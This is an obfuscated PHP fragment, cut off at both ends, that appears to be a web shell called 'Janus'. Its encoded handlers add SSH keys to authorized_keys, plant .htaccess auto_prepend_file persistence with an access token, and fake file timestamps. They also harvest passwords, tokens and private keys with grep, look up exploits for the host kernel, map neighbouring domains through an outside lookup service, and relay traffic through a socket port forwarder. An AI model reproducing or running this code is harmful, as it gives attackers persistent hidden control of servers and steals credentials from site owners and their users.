"\114\157\147\x20\146\151\154\x65\40\156\x6f\164\x20\x66\157\165\x6e\144\x20\157\x72\x20\x6e\x6f\x74\40\162\145\x61\144\x61\142\154\x65\x2e"; goto ylwdH; axu2H: case "\x73\165\x64\157\137\143\150\x65\x63\x6b": goto of3gB; vsm8T: goto vbH70; goto zGDyZ; RxGhC: $v1Pog = ["\163\x74\141\x74\165\163" => "\x73\165\143\143\x65\x73\163", "\144\141\x74\141" => htmlspecialchars($BKvy0 ?: "\103\x6f\165\154\144\x20\x6e\x6f\164\40\162\165\x6e\x20\47\x73\165\144\157\x20\55\x6c\47\56")]; goto vsm8T; of3gB: $BKvy0 = zMrp5("\x73\165\144\x6f\40\x2d\x6c\40\x32\76\x26\61"); goto RxGhC; zGDyZ: case "\147\x65\x74\137\x75\x73\145\x72\x5f\143\x6f\156\x74\x65\170\x74": goto Zr18o; Zr18o: $BKvy0 = zmRP5("\x77\x68\x6f\141\155\151\x3b\x20\151\x64"); goto WAMbO; nTGhy: goto vbH70; goto MNTQi; WAMbO: $v1Pog = ["\163\164\x61\x74\x75\163" => "\x73\x75\143\143\x65\x73\163", "\144\141\164\x61" => htmlspecialchars($BKvy0 ?: "\103\157\x75\x6c\144\40\156\x6f\164\40\x72\165\x6e\x20\47\167\x68\157\x61\155\151\x27\40\157\162\x20\x27\151\144\47\56")]; goto nTGhy; MNTQi: case "\146\x69\x6e\x64\137\167\x72\x69\164\141\x62\x6c\x65": goto kHynU; omT5T: $BKvy0 = "\x2d\55\x2d\40\x57\157\x72\x6c\144\x2d\127\162\x69\x74\141\x62\154\145\40\x44\x69\x72\145\x63\164\x6f\x72\151\x65\163\x20\55\x2d\x2d\12"; goto sIM22; tvnnZ: if ($j3_hR) { goto NQ9jO; } goto TrKSA; mHTC0: NQ9jO: goto lsZUa; I7Xsk: $LcJbn = "\146\x69\156\144\x20" . escapeshellarg($j3_hR) . "\x20\55\x74\x79\160\145\x20\146\40\55\x70\x65\x72\x6d\40\x2d\x30\60\60\x32\x20\55\154\163\40\x32\x3e\x2f\144\x65\166\x2f\x6e\x75\154\154"; goto omT5T; Aller: $v1Pog = ["\x73\x74\141\164\x75\x73" => "\x73\x75\x63\x63\x65\x73\x73", "\x64\x61\x74\x61" => htmlspecialchars($BKvy0)]; goto TdDX9; ks9Eu: $BKvy0 .= zmrP5($LcJbn) ?: "\116\157\x6e\x65\x20\146\x6f\165\156\x64\x2e\12"; goto Aller; kHynU: $j3_hR = realpath($_POST["\x70\x61\x74\x68"]); goto tvnnZ; sIM22: $BKvy0 .= zmRp5($U0B2N) ?: "\116\x6f\156\x65\40\146\157\x75\x6e\x64\x2e\12"; goto XjN1e; XjN1e: $BKvy0 .= "\12\x2d\55\x2d\x20\x57\x6f\x72\154\x64\55\x57\162\151\x74\x61\x62\154\x65\40\106\x69\x6c\145\x73\40\55\55\x2d\12"; goto ks9Eu; TdDX9: goto vbH70; goto on3P5; lsZUa: $U0B2N = "\146\151\156\x64\40" . escapeshellarg($j3_hR) . "\x20\55\x74\x79\160\145\x20\144\x20\x2d\x70\x65\x72\155\40\55\x30\60\x30\62\40\55\x6c\x73\x20\62\76\x2f\x64\x65\x76\57\156\165\x6c\x6c"; goto I7Xsk; TrKSA: $v1Pog["\x6d\145\163\x73\141\x67\145"] = "\x49\x6e\166\x61\x6c\151\144\x20\160\x61\164\x68\x20\160\x72\x6f\x76\x69\144\145\144\x2e"; goto KKPpo; KKPpo: goto vbH70; goto mHTC0; on3P5: case "\163\x73\x68\137\155\141\x6e\141\x67\x65\x72": goto QZCyp; Ompkz: $v1Pog["\155\145\x73\x73\141\147\145"] = "\106\x61\151\x6c\145\x64\40\x74\x6f\40\x77\162\x69\x74\x65\x20\164\157\40\141\x75\x74\x68\x6f\162\x69\172\145\x64\137\x6b\145\x79\163\x20\146\x69\154\145\56"; goto ouvcR; lyKDw: if (!(empty($DXIyj) || !is_dir($DXIyj))) { goto gbqO8; } goto dD4J1; bQ7wr: $Lrz4Z = ''; goto lH6zN; PYUhl: if (file_put_contents($PNVBp, $dTrV6 . PHP_EOL, FILE_APPEND) !== false) { goto ZkMjI; } goto Ompkz; lH6zN: $EFvAq = false; goto Rz39o; nGu7V: if (@mkdir($ZqQ1D, 0700)) { goto ZhvaH; } goto iGmTP; nKV6K: Q4raW: goto qS34n; g1gtP: goto vbH70; goto HicM7; qjD1t: EjRwy: goto Q0OXp; QZCyp: $DXIyj = ZmRP5("\145\143\150\x6f\40\x24\x48\x4f\x4d\105"); goto aXtDo; Mjk44: $bOsry = posix_getpwuid(getmyuid()); goto clYaC; u1eu5: if (!(is_writable($PNVBp) || !file_exists($PNVBp) && is_writable($ZqQ1D))) { goto c33Lg; } goto MawsW; dD4J1: $v1Pog["\155\x65\163\163\141\147\x65"] = "\103\x6f\165\x6c\144\x20\x6e\157\x74\x20\x64\x65\x74\145\x72\x6d\151\156\145\x20\x75\163\x65\162\40\150\x6f\155\145\x20\x64\151\162\145\x63\x74\x6f\x72\x79\x2e"; goto g1gtP; poihF: u74cj: goto lyKDw; HicM7: gbqO8: goto A8hUg; c6VuW: $dTrV6 = $_POST["\x6b\x65\171"]; goto vDLO8; Rz39o: if (!(file_exists($PNVBp) && is_readable($PNVBp))) { goto MFB2K; } goto QMH3B; jYVNI: $v1Pog["\x6d\145\163\163\141\147\145"] = "\123\x53\x48\x20\x6b\x65\x79\40\143\x61\x6e\156\157\164\x20\142\x65\40\x65\155\x70\164\x79\56"; goto a2oHm; ULewT: $v1Pog = ["\x73\164\x61\x74\x75\x73" => "\x73\x75\143\143\145\163\x73", "\x6d\x65\163\163\141\147\x65" => "\x53\123\110\x20\153\x65\x79\x20\141\x64\144\145\x64\40\163\x75\143\x63\x65\163\x73\146\165\154\x6c\171\x2e"]; goto nKV6K; cPjTZ: if ($uOhnh === "\141\144\144") { goto qpHyV; } goto zbZC8; QMH3B: $Lrz4Z = file_get_contents($PNVBp); goto ukV1s; qRWOr: ZhvaH: goto Lm8M9; k_Fso: goto vbH70; goto qRWOr; jIhbZ: $v1Pog = ["\163\x74\141\x74\x75\x73" => "\x73\x75\143\x63\x65\163\x73", "\143\157\156\x74\x65\x6e\x74" => $Lrz4Z, "\167\162\x69\x74\x61\x62\154\x65" => $EFvAq, "\x70\x61\164\150" => $PNVBp]; goto LWYT4; aXtDo: $DXIyj = trim($DXIyj); goto T3c38; ZFzBH: goto vbH70; goto QN4c_; G9fje: ZkMjI: goto VXmUO; LWYT4: goto pNj48; goto w_emc; A8hUg: $ZqQ1D = $DXIyj . "\57\x2e\x73\x73\x68"; goto XbW7w; iGmTP: $v1Pog["\155\145\x73\x73\141\147\x65"] = "\x43\x6f\165\x6c\144\x20\x6e\x6f\x74\x20\143\x72\x65\x61\164\145\40\x2e\163\163\x68\x20\x64\x69\x72\145\x63\164\x6f\162\x79\56"; goto k_Fso; XbW7w: $PNVBp = $ZqQ1D . "\57\141\165\x74\150\157\162\x69\172\145\x64\137\x6b\x65\171\163"; goto RfmvL; w_emc: qpHyV: goto c6VuW; vDLO8: if (!empty($dTrV6)) { goto EjRwy; } goto jYVNI; a2oHm: goto vbH70; goto qjD1t; R0MzQ: if ($uOhnh === "\147\x65\164") { goto rDl1O; } goto cPjTZ; Lm8M9: DSbY8: goto PYUhl; UeCUq: rDl1O: goto bQ7wr; Q0OXp: if (is_dir($ZqQ1D)) { goto DSbY8; } goto nGu7V; MawsW: $EFvAq = true; goto V0yiY; T3c38: if (!empty($DXIyj)) { goto u74cj; } goto Mjk44; qS34n: pNj48: goto ZFzBH; zbZC8: goto pNj48; goto UeCUq; ukV1s: MFB2K: goto u1eu5; ouvcR: goto Q4raW; goto G9fje; clYaC: $DXIyj = $bOsry["\x64\x69\162"]; goto poihF; RfmvL: $uOhnh = $_POST["\163\165\x62\x5f\141\x63\x74\151\x6f\x6e"]; goto R0MzQ; V0yiY: c33Lg: goto jIhbZ; VXmUO: chmod($PNVBp, 0600); goto ULewT; QN4c_: case "\x68\164\141\143\143\145\163\x73\x5f\x70\x65\162\163\x69\163\x74": goto IGM3B; QgHjW: goto zIF_r; goto se3fP; xgtfw: if (!(strpos($ZSJX5, "\43\x20\112\x41\x4e\x55\123\x20\120\105\122\x53\111\x53\124\105\116\x43\x45") !== false)) { goto XgPft; } goto ifntx; ifntx: $v1Pog["\x6d\x65\x73\163\141\x67\145"] = "\120\x65\162\x73\151\163\164\145\x6e\x63\145\x20\162\x75\154\x65\x20\x61\154\x72\145\141\144\171\x20\x73\145\145\x6d\x73\40\164\157\x20\x65\x78\x69\163\164\x20\151\x6e\x20\x2e\x68\164\x61\x63\x63\145\x73\x73\56"; goto U72GR; lco6u: $sE6ux .= "\x20\x20\x20\x20\160\150\160\137\x76\141\x6c\165\145\x20\141\x75\164\x6f\137\160\x72\145\160\145\156\144\137\x66\151\x6c\145\40" . escapeshellarg($YOfeG) . "\xa"; goto DejNK; jHBXy: $YOfeG = $_POST["\x66\151\x6c\x65\156\x61\155\145"]; goto UmISH; Hm_Zv: $ZSJX5 = file_exists($rE5PO) ? file_get_contents($rE5PO) : ''; goto xgtfw; vWeVF: $v1Pog["\x6d\145\x73\163\x61\147\145"] = "\x41\40\166\141\x6c\151\144\40\144\x69\162\145\143\164\157\x72\x79\x20\160\x61\164\x68\40\x61\156\144\x20\146\151\x6c\145\x6e\141\155\x65\x20\141\162\x65\x20\x72\145\161\165\x69\162\x65\144\x2e"; goto K5DRZ; K5DRZ: goto vbH70; goto y638L; Lxl26: $sE6ux .= "\x20\40\40\40\160\150\160\x5f\166\141\x6c\165\145\x20\141\165\x74\x6f\x5f\x70\x72\145\160\x65\x6e\x64\x5f\146\x69\x6c\x65\40" . escapeshellarg($YOfeG) . "\12"; goto g6URP; npHux: if (!(!is_writable($j3_hR) || file_exists($rE5PO) && !is_writable($rE5PO))) { goto CC1Fg; } goto SN73i; lJ2ca: goto vbH70; goto gOZuD; Qm8X_: $sE6ux .= "\74\111\146\x4d\157\144\x75\x6c\x65\x20\x6d\157\x64\137\x70\x68\x70\x2e\x63\76\12"; goto lco6u; GGRG9: XgPft: goto xG9k9; eaKBl: $sE6ux .= "\x20\40\x20\40\x70\x68\x70\x5f\166\141\154\165\145\x20\x61\x75\x74\x6f\137\x70\x72\145\160\x65\x6e\x64\x5f\146\151\x6c\x65\40" . escapeshellarg($YOfeG) . "\12"; goto sJGUM; IGM3B: $j3_hR = realpath($_POST["\x70\x61\164\150"]); goto jHBXy; DejNK: $sE6ux .= "\x3c\x2f\x49\x66\115\157\144\x75\x6c\x65\x3e\12\12"; goto Hm_Zv; y638L: X5hBs: goto MP3NF; h_KUT: $v1Pog["\155\x65\x73\163\141\147\x65"] = "\x46\x61\x69\154\145\144\x20\164\x6f\x20\x77\x72\151\x74\x65\40\x74\x6f\x20\x2e\150\x74\141\x63\x63\x65\x73\x73\40\x66\x69\154\145\x2e"; goto QgHjW; U72GR: goto vbH70; goto GGRG9; HWqBM: $sE6ux .= "\74\111\146\x4d\157\x64\x75\154\145\40\x6d\157\x64\137\160\x68\x70\65\56\143\x3e\12"; goto Lxl26; se3fP: Dk3Va: goto FuN34; fKud_: $sE6ux .= "\74\x49\146\x4d\x6f\x64\x75\154\145\40\x6d\x6f\144\x5f\160\x68\x70\x37\x2e\143\x3e\12"; goto eaKBl; zNLI9: goto vbH70; goto QEvQf; g6URP: $sE6ux .= "\x3c\x2f\x49\x66\x4d\x6f\x64\x75\154\x65\76\xa"; goto fKud_; sJGUM: $sE6ux .= "\74\x2f\111\x66\x4d\x6f\x64\x75\x6c\145\x3e\12"; goto Qm8X_; MP3NF: $rE5PO = $j3_hR . "\x2f\x2e\x68\164\x61\143\x63\x65\163\163"; goto npHux; v7p01: $sE6ux = "\43\x20\x4a\101\116\125\x53\40\120\x45\x52\123\111\123\124\x45\x4e\103\x45\xa"; goto HWqBM; xG9k9: if (file_put_contents($rE5PO, $sE6ux . $ZSJX5) !== false) { goto Dk3Va; } goto h_KUT; FuN34: $v1Pog = ["\x73\x74\x61\164\165\163" => "\x73\165\x63\143\145\163\x73", "\x6d\145\x73\x73\141\147\145" => "\120\x65\x72\x73\x69\163\x74\x65\156\x63\145\x20\x72\x75\x6c\x65\x20\141\x64\144\x65\x64\40\x74\157\40" . $rE5PO]; goto eI8J6; SN73i: $v1Pog["\x6d\145\x73\163\141\147\x65"] = "\x54\x61\x72\x67\145\x74\x20\144\151\x72\145\143\164\x6f\x72\171\40\x6f\x72\40\145\x78\x69\163\x74\x69\156\x67\40\x2e\150\164\x61\x63\143\145\x73\163\40\151\163\40\156\x6f\164\40\167\162\x69\x74\x61\x62\154\145\56"; goto lJ2ca; eI8J6: zIF_r: goto zNLI9; gOZuD: CC1Fg: goto v7p01; UmISH: if (!(!$j3_hR || !is_dir($j3_hR) || empty($YOfeG))) { goto X5hBs; } goto vWeVF; QEvQf: case "\x63\x72\x65\x61\164\145\137\150\x74\141\143\x63\145\163\163": goto AOjDf; GuMtR: $nglsT = @yZbXG($qY16M); goto gci6o; HtWlN: $v1Pog = ["\163\164\141\x74\x75\163" => "\163\165\x63\143\145\163\x73", "\155\145\163\163\x61\x67\x65" => "\x2e\150\x74\x61\143\x63\145\x73\x73\x20\x70\x72\157\x74\145\x63\164\x69\157\156\x20\143\162\145\141\x74\145\x64\x20\x73\x75\x63\x63\x65\x73\163\x66\165\x6c\154\171\x21", "\150\164\141\143\x63\145\163\x73\137\x70\141\x74\150" => $nglsT["\x68\164\x61\x63\143\x65\163\x73\x5f\160\141\x74\150"], "\163\145\143\162\145\x74\137\164\x6f\x6b\x65\156" => $nglsT["\x73\x65\x63\162\x65\x74\137\x74\157\153\145\x6e"], "\x69\x6e\x66\157" => "\x41\x63\x63\x65\x73\163\x20\x73\150\x65\154\154\x20\167\151\x74\x68\x3a\x20\x3f\x6a\141\156\165\x73\x5f\164\x6f\x6b\x65\x6e\75" . $nglsT["\x73\x65\x63\x72\x65\164\x5f\164\x6f\153\145\x6e"]]; goto PVVjv; Umx0E: RzTZK: goto HtWlN; Noa3j: $v1Pog["\x6d\145\x73\x73\141\147\x65"] = isset($nglsT["\155\145\x73\x73\141\x67\x65"]) ? $nglsT["\x6d\145\x73\x73\141\147\145"] : "\106\141\151\154\145\x64\x20\x74\x6f\x20\143\x72\x65\x61\x74\x65\40\x2e\150\x74\141\x63\x63\x65\x73\x73\40\160\162\157\x74\145\143\x74\x69\157\x6e\x2e"; goto Yof1Q; jo2nY: goto vbH70; goto ep3qO; fYcUn: if (!(empty($qY16M) || !file_exists($qY16M))) { goto i0nkc; } goto p3XNk; Yof1Q: goto BAjlN; goto Umx0E; AOjDf: $qY16M = isset($_POST["\163\x68\x65\154\154\x5f\x70\x61\x74\x68"]) ? $_POST["\x73\150\x65\154\154\137\160\141\x74\150"] : __FILE__; goto fYcUn; vm8ws: i0nkc: goto GuMtR; PVVjv: BAjlN: goto jo2nY; gci6o: if ($nglsT && $nglsT["\163\164\141\164\165\163"] === "\163\x75\x63\x63\145\163\x73") { goto RzTZK; } goto Noa3j; p3XNk: $v1Pog["\x6d\145\x73\163\141\x67\145"] = "\x49\x6e\x76\141\154\151\x64\x20\163\x68\x65\x6c\x6c\x20\x70\x61\x74\150\56"; goto Qvnc9; Qvnc9: goto vbH70; goto vm8ws; ep3qO: case "\147\x65\x74\x5f\144\x6f\155\141\151\x6e\x5f\x69\156\164\145\x6c": goto kYOXw; S5AHC: kaBGx: goto vYJ12; RNcrM: Oam8w: goto eXSXn; NlW3Y: $d2pvm = stream_context_create($VkUQu); goto sjbsI; JnnM5: $NFCPX = filter_var($NFCPX, FILTER_SANITIZE_URL); goto H_SM4; kYOXw: $NFCPX = isset($_SERVER["\123\105\122\126\x45\122\137\116\x41\115\x45"]) ? $_SERVER["\123\x45\x52\126\105\x52\x5f\116\101\115\x45"] : (isset($_SERVER["\123\105\122\x56\x45\122\137\101\x44\x44\x52"]) ? $_SERVER["\x53\x45\x52\126\x45\x52\137\101\x44\104\x52"] : ''); goto t4qPL; YwRDj: goto vbH70; goto hwoPC; h1mcH: $vK3uJ = ["\167\x77\x77", "\x6d\x61\151\154", "\146\164\160", "\x63\160\x61\x6e\145\x6c", "\167\145\x62\155\x61\x69\x6c", "\x64\x65\166", "\x74\x65\x73\164", "\142\x6c\x6f\x67", "\163\x68\x6f\160", "\x6f\167\141", "\141\165\x74\x6f\x64\x69\x73\x63\157\x76\145\x72", "\x76\160\156", "\x6d"]; goto sEWms; eysRF: $v1Pog["\x6d\145\163\163\x61\x67\x65"] = "\103\x6f\165\154\144\40\156\x6f\x74\40\x64\x65\x74\x65\162\155\x69\156\x65\40\163\x65\x72\x76\x65\x72\x20\150\x6f\x73\x74\x6e\x61\155\x65\x20\x6f\x72\40\x49\x50\x2e"; goto YwRDj; wjj0c: qwZDB: goto PA2Ds; hwoPC: GEzty: goto JnnM5; H_SM4: $b_GfI = @gethostbyname($NFCPX); goto oaGQH; jgwbO: goto vbH70; goto Yj6c0; PA2Ds: $x9ifG = "\x41\x50\111\40\x72\145\161\x75\x65\163\164\40\x66\x61\x69\154\x65\144\x20\157\x72\40\x68\x6f\x73\x74\x20\x69\163\x20\156\157\x74\x20\x6f\156\40\x73\x68\x61\x72\x65\x64\x20\150\x6f\x73\164\x69\156\x67\x2e"; goto TJ0dg; cvIuk: $c0OAM = z0Nvp(); goto GP5Kq; AMb99: if (!($KxWA5 !== false && !empty(trim($KxWA5)))) { goto Oam8w; } goto cVXUI; t4qPL: if (!empty($NFCPX)) { goto GEzty; } goto eysRF; cVXUI: $x9ifG = htmlspecialchars(trim($KxWA5)); goto RNcrM; sjbsI: $KxWA5 = @file_get_contents($V8M_r, false, $d2pvm); goto AMb99; PhV28: $iLm_W = []; goto wjj0c; sOBTf: if (!($iLm_W === false)) { goto qwZDB; } goto PhV28; oaGQH: $iLm_W = @dns_get_record($NFCPX, DNS_ANY); goto sOBTf; vYJ12: $v1Pog = ["\x73\x74\141\164\x75\x73" => "\163\165\143\143\145\163\x73", "\x69\156\164\145\154" => ["\x68\x6f\163\164" => $NFCPX, "\x69\160" => $b_GfI, "\144\156\x73\x5f\x72\x65\x63\x6f\162\144\x73" => $iLm_W, "\x6f\164\150\x65\162\x5f\163\151\164\145\163" => $x9ifG, "\146\157\x75\156\x64\137\163\x75\x62\x64\157\155\141\x69\x6e\x73" => $itBdb]]; goto jgwbO; TJ0dg: $V8M_r = "\x68\x74\x74\160\163\72\57\x2f\141\x70\x69\56\150\x61\x63\153\145\x72\x74\141\162\x67\x65\164\56\x63\x6f\x6d\x2f\x72\145\166\145\x72\x73\145\x69\x70\x6c\157\x6f\x6b\165\x70\57\x3f\x71\75" . urlencode($b_GfI); goto cvIuk; GP5Kq: $VkUQu = ["\163\x73\154" => ["\166\x65\162\x69\x66\171\x5f\160\145\145\x72" => false, "\x76\145\x72\x69\146\171\x5f\x70\x65\x65\162\x5f\156\x61\x6d\145" => false], "\x68\x74\x74\x70" => ["\165\163\145\162\x5f\141\x67\x65\x6e\164" => $c0OAM, "\164\x69\155\x65\157\165\164" => 15, "\146\x6f\x6c\x6c\x6f\167\x5f\154\157\143\141\x74\151\157\156" => true, "\155\x61\170\x5f\x72\x65\x64\151\162\145\143\164\163" => 3]]; goto NlW3Y; eXSXn: $itBdb = []; goto h1mcH; sEWms: foreach ($vK3uJ as $LQmze) { goto TOh1u; TOh1u: $aDkWK = $LQmze . "\x2e" . $NFCPX; goto GJYZx; o56lf: if (!($mRz2l != $aDkWK && $mRz2l !== false)) { goto EVOaf; } goto XvKBs; XvKBs: $itBdb[] = $aDkWK; goto sL2Kp; ImVzz: YHnOr: goto C9pqm; GJYZx: $mRz2l = @gethostbyname($aDkWK); goto o56lf; sL2Kp: EVOaf: goto ImVzz; C9pqm: } goto S5AHC; Yj6c0: case "\164\x69\155\145\163\x74\157\x6d\160": goto pkZeg; wC5y6: $v1Pog["\155\x65\x73\163\x61\147\x65"] = "\106\x61\151\154\145\x64\x20\164\157\40\x63\x68\141\x6e\x67\x65\x20\164\151\155\145\x73\164\141\155\160\56"; goto JgEQ1; Q_FCA: UaEog: goto zUw0c; qEzR_: Zs19T: goto zKD9Q; zKD9Q: $b3Akw = filemtime($bw9Jt); goto RDIFa; zjsSl: nX2Vl: goto lwLWK; Pf3vm: if (!(!file_exists($bw9Jt) || !is_readable($bw9Jt))) { goto nX2Vl; } goto hgdjV; JgEQ1: goto UaEog; goto JmqZp; lwLWK: if (!(!file_exists($N2IKz) || !is_writable($N2IKz))) { goto Zs19T; } goto aJPrN; zUw0c: goto vbH70; goto dyHUg; hgdjV: $v1Pog["\155\145\163\163\x61\147\145"] = "\x53\x6f\165\162\143\145\40\x66\x69\x6c\x65\x20\144\x6f\145\x73\x20\156\157\x74\x20\145\170\x69\x73\164\x20\157\x72\40\151\163\x20\156\157\164\x20\162\x65\141\x64\141\142\154\145\x2e"; goto rnbhd; wpwmc: $N2IKz = $_POST["\x64\145\x73\164"]; goto Pf3vm; plijk: $v1Pog = ["\163\164\x61\x74\165\x73" => "\x73\x75\143\x63\145\x73\163", "\x6d\145\x73\x73\141\x67\145" => "\x54\151\155\x65\163\x74\x61\x6d\x70\x20\x6f\x66\40" . basename($N2IKz) . "\40\143\150\x61\156\147\x65\144\x20\x74\157\x20\x6d\141\164\x63\150\40" . basename($bw9Jt) . "\x2e"]; goto Q_FCA; pkZeg: $bw9Jt = $_POST["\x73\x6f\x75\x72\143\145"]; goto wpwmc; xNuhK: goto vbH70; goto qEzR_; JmqZp: NRfOc: goto plijk; rnbhd: goto vbH70; goto zjsSl; RDIFa: if (touch($N2IKz, $b3Akw)) { goto NRfOc; } goto wC5y6; aJPrN: $v1Pog["\155\145\163\x73\x61\147\145"] = "\x44\145\163\164\151\156\x61\164\x69\x6f\156\x20\146\x69\154\145\x20\x64\157\145\x73\x20\x6e\157\x74\x20\145\x78\151\163\164\x20\x6f\x72\x20\x69\163\x20\x6e\x6f\164\40\167\162\151\x74\141\x62\x6c\x65\x2e"; goto xNuhK; dyHUg: case "\x63\162\145\144\x5f\x68\141\162\166\145\x73\164\145\x72": goto q8jPm; XyFxQ: if ($j3_hR) { goto tZD7B; } goto Nij9o; mkgaF: $v1Pog = ["\x73\164\141\x74\x75\163" => "\x73\x75\143\x63\145\163\163", "\x64\x61\164\x61" => htmlspecialchars($BKvy0 ?: "\116\157\40\143\162\x65\144\145\x6e\164\151\141\x6c\x73\x20\x66\x6f\x75\x6e\x64\x20\157\162\x20\x67\162\x65\160\x20\151\163\x20\156\157\x74\40\x61\x76\x61\151\x6c\141\x62\154\x65\56")]; goto DMVtS; pvhVL: $azofS = "\147\162\145\160\x20\x2d\x72\40\55\151\40\55\x45\40\55\55\145\170\x63\x6c\165\x64\145\55\x64\151\162\x3d\x7b\56\147\x69\x74\54\56\163\166\156\54\x6e\157\144\145\x5f\x6d\x6f\x64\165\154\145\x73\x7d\x20\55\x2d\145\x78\x63\154\x75\x64\x65\x3d\134\52\56\x7b\152\160\147\54\152\x70\x65\x67\x2c\x70\x6e\x67\54\x67\x69\x66\x2c\x62\155\x70\54\172\151\160\x2c\164\x61\x72\54\147\x7a\x2c\155\x70\x34\x2c\x6d\x70\x33\x2c\141\166\151\54\x70\x64\146\x7d\40" . escapeshellarg($G6Mdr) . "\x20" . escapeshellarg($j3_hR) . "\40\62\x3e\x2f\144\x65\166\x2f\x6e\x75\154\154"; goto y6eCz; DMVtS: goto vbH70; goto sffHX; Ak0Wm: tZD7B: goto Fd_m_; Fd_m_: $G6Mdr = "\50\160\141\163\x73\x77\x6f\x72\x64\x7c\160\x61\x73\163\x77\x64\174\160\x61\163\x73\174\160\x77\144\174\x73\x65\x63\x72\x65\164\x7c\164\157\153\x65\156\174\141\160\151\x5f\x6b\x65\171\x7c\x61\165\x74\x68\x5f\x6b\145\x79\x7c\160\x72\x69\x76\x61\164\x65\x5f\153\145\x79\174\153\145\171\174\143\x72\x65\x64\x65\156\x74\x69\141\154\x7c\x63\157\x6e\156\x65\143\164\x69\x6f\x6e\x5f\x73\164\162\151\156\147\x7c\142\x65\x67\x69\156\40\x28\162\163\141\174\x64\163\x61\174\145\143\51\40\160\162\151\166\x61\x74\145\40\x6b\145\171\x29\x5b\134\163\72\75\135\x2b\x5b\x27\x22\135\x3f\x28\133\x5e\x5c\163\47\42\135\x2b\51\133\47\x22\135\77"; goto pvhVL; q8jPm: $j3_hR = realpath($_POST["\160\141\164\x68"]); goto XyFxQ; YMSkW: goto vbH70; goto Ak0Wm; y6eCz: $BKvy0 = zmrP5($azofS); goto mkgaF; Nij9o: $v1Pog["\x6d\x65\x73\x73\x61\x67\x65"] = "\x49\x6e\166\141\x6c\x69\144\40\x70\x61\x74\150\x20\160\162\157\x76\x69\144\145\x64\x2e"; goto YMSkW; sffHX: case "\x65\170\x70\x6c\157\151\x74\x5f\163\165\x67\x67\145\x73\164\x65\x72": goto bmcRu; YlEnM: $Pkczl = []; goto DHCVU; DHCVU: foreach ($HWo1L as $ubQAO) { $Pkczl[$ubQAO] = "\x68\164\164\x70\163\x3a\57\57\167\x77\167\x2e\145\x78\x70\x6c\157\151\164\55\144\142\x2e\143\157\155\57\x73\x65\141\162\x63\x68\x3f\161\x3d" . urlencode($ubQAO); PG3FS: } goto TbAuL; bmcRu: $pmeye = $_POST["\144\x69\x73\164\x72\157"]; goto qq4zY; vlzcO: $v1Pog = ["\x73\x74\x61\164\x75\x73" => "\x73\x75\143\143\145\x73\x73", "\x6c\151\156\153\163" => $Pkczl]; goto wqog3; qq4zY: $gmLqH = $_POST["\153\x65\x72\156\x65\154"]; goto r5sJH; r5sJH: $HWo1L = array_unique(array_filter([$pmeye, $gmLqH, php_uname("\163")])); goto YlEnM; wqog3: goto vbH70; goto ANrI8; TbAuL: c7Dww: goto vlzcO; ANrI8: case "\x70\157\x72\164\x5f\146\157\162\x77\x61\x72\x64": goto mvJU7; fq1wY: $v1Pog["\155\145\x73\x73\141\147\145"] = "\x46\141\151\154\x65\x64\x20\x74\157\40\x61\x63\x63\145\x70\164\x20\143\154\x69\145\x6e\x74\40\143\157\x6e\x6e\x65\143\x74\x69\x6f\x6e\x3a\x20" . socket_strerror(socket_last_error($SZHaV)); goto HbEiU; y2Zk4: @socket_close($TUvmd); goto id01A; CfKAC: @socket_close($SZHaV); goto F3jX_; DRwSE: goto u3crd; goto CvPw0; cmtel: $TUvmd = @socket_accept($SZHaV); goto WBiQp; NX4AX: if (!in_array($n0Lt7, $Fxsn7)) { goto r2UGG; } goto LKvWi; BYSgj: if (!(socket_select($Fxsn7, $QhaZj, $cbUTK, 0) < 1)) { goto aZmjX; } goto aJVev; tg4c_: $W5e6I = (int) $_POST["\x74\141\162\x67\145\x74\x5f\160\157\x72\x74"]; goto Xeoy8; SkGaY: zga4Y: goto Oc4uK; F3jX_: goto vbH70; goto B6_Oa; U8Onn: $v1Pog["\155\x65\163\x73\141\147\145"] = "\x73\x6f\x63\153\145\164\x5f\143\x72\x65\x61\164\x65\x28\51\40\x69\x73\x20\144\151\163\141\x62\x6c\x65\x64\56"; goto CptBG; OZ4NQ: goto Qox1A; goto hqtDM; mA1iq: if (!true) { goto u3crd; } goto UoQd8; Oc4uK: $n0Lt7 = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); goto aAjdb; GtWfA: goto vbH70; goto Gi5Ak; A_u5a: $v1Pog["\x6d\x65\x73\163\141\x67\145"] = "\103\x6f\165\x6c\x64\40\156\x6f\164\x20\x63\157\156\x6e\x65\x63\x74\x20\164\157\40\x74\141\162\147\x65\164\40{$Mn4tp}\72{$W5e6I}\x3a\x20" . socket_strerror(socket_last_error()); goto VuQqK; Uz_1_: goto vbH70; goto MKvQH; QVLd9: $SZHaV = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); goto LZyUV; EDL5t: r2UGG: goto OZ4NQ; nF92h: socket_set_nonblock($TUvmd); goto vO4MG; HbEiU: @socket_close($SZHaV); goto SiWEg; LKvWi: $siOBH = @socket_read($n0Lt7, 4096); goto G3Wjt; muyzU: @socket_write($n0Lt7, $siOBH, strlen($siOBH)); goto fdTgM; AKTcf: goto vbH70; goto LA3XK; MDSfk: Z8E15: goto Tod_P; B6_Oa: KLFp3: goto nF92h; xMRC0: goto u3crd; goto HMUdp; CptBG: goto vbH70; goto MDSfk; W3mdp: Qox1A: goto mA1iq; UoQd8: $Fxsn7 = [$TUvmd, $n0Lt7]; goto mkE2K; mvJU7: $VXQxC = (int) $_POST["\154\x69\163\x74\x65\x6e\x5f\160\x6f\x72\164"]; goto yRVTr; Xeoy8: if (LiX3F("\163\x6f\143\153\x65\164\x5f\143\162\x65\x61\x74\x65")) { goto Z8E15; } goto U8Onn; G3Wjt: if (!($siOBH === false || $siOBH === '')) { goto PB45j; } goto DRwSE; mkE2K: $QhaZj = null; goto i0W3v; id01A: @socket_close($n0Lt7); goto TwfzO; TwfzO: @socket_close($SZHaV); goto orgZq; D5bna: $siOBH = @socket_read($TUvmd, 4096); goto vRoo4; LA3XK: bZUvW: goto QVLd9; deouw: $v1Pog["\x6d\x65\163\x73\141\147\145"] = "\103\157\165\x6c\x64\x20\x6e\157\164\40\142\x69\156\x64\x20\164\157\x20\154\x69\163\164\x65\156\40\x70\157\162\x74\40{$VXQxC}\72\x20" . socket_strerror(socket_last_error()); goto ZGAMm; WBiQp: if ($TUvmd) { goto zga4Y; } goto fq1wY; MKvQH: vDWIr: goto cmtel; LZyUV: if (!(!$SZHaV || !@socket_bind($SZHaV, "\x30\x2e\60\56\x30\56\x30", $VXQxC) || !@socket_listen($SZHaV))) { goto vDWIr; } goto deouw; fLov8: @socket_write($TUvmd, $siOBH, strlen($siOBH)); goto EDL5t; GQz6X: 